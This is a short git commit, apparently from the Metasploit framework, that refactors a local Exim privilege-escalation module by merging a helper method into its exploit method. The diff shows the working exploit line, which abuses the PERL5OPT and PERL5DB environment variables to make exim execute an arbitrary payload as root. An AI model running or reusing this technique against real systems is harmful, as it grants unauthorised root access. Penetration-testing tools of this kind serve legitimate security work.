Do something shady with the exploit method

Hat tip @acammack-r7.
bug/bundler_fix
William Vu 2016-04-13 18:12:43 -05:00
parent 43e74fce9e
commit 07ee18a62b
1 changed files with 2 additions and 6 deletions

View File

@ -44,18 +44,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if x('whoami') == 'root'
if exploit('whoami') == 'root'
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit
x(payload.encoded)
end
def x(c)
def exploit(c = payload.encoded)
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
end